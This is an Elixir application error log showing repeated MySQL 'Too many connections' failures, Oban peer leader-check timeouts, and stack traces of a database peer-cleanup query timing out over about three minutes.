[Sat Sep  5 22:29:36.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:36.357000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:41.951000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:42.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:43.061000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:29:44.860000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:29:48.062000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:29:49.877000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:51.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:52.121000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:29:52.123000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:52.124000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:53.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:53.993000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:29:57.739000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:01.280000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:01.586000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:03.693000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:04.811000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:09.923000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:10.452000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:11.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:13.974000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:14.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:18.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:20.749000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:21.743000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:25.451000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:25.519000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:26.152000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:30:27.801000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:31.153000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:30:32.872000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:34.312000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:34.920000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:35.839000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:30:35.840000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:38.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:38.353000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:42.929000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:42.991000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:44.925000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:44.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:45.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:48.569000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:50.764000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:55.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:30:57.870000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:01.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:01.784000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:01.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:04.744000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:06.893000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:07.202000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:09.872000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:31:14.873000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:31:15.090000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:15.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:19.539000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:31:19.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:20.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:20.900000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:22.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:23.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:23.311000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:24.735000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:25.353000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:25.578000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:25.996000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:27.392000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:30.131000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:39.301000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:41.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:41.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:44.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:44.264000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:47.537000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:48.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:49.262000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:53.573000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:31:54.542000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:31:54.791000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:55.872000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:57.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:31:58.574000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:31:58.929000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:03.394000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:32:03.395000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:03.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:05.707000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:06.413000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:08.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:08.995000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:09.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:10.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:14.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:14.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:15.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:16.748000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:20.209000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:25.093000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:28.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:32.622000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:33.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:33.489000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:33.746000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:34.659000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:34.663000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:37.426000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:32:40.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:42.051000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
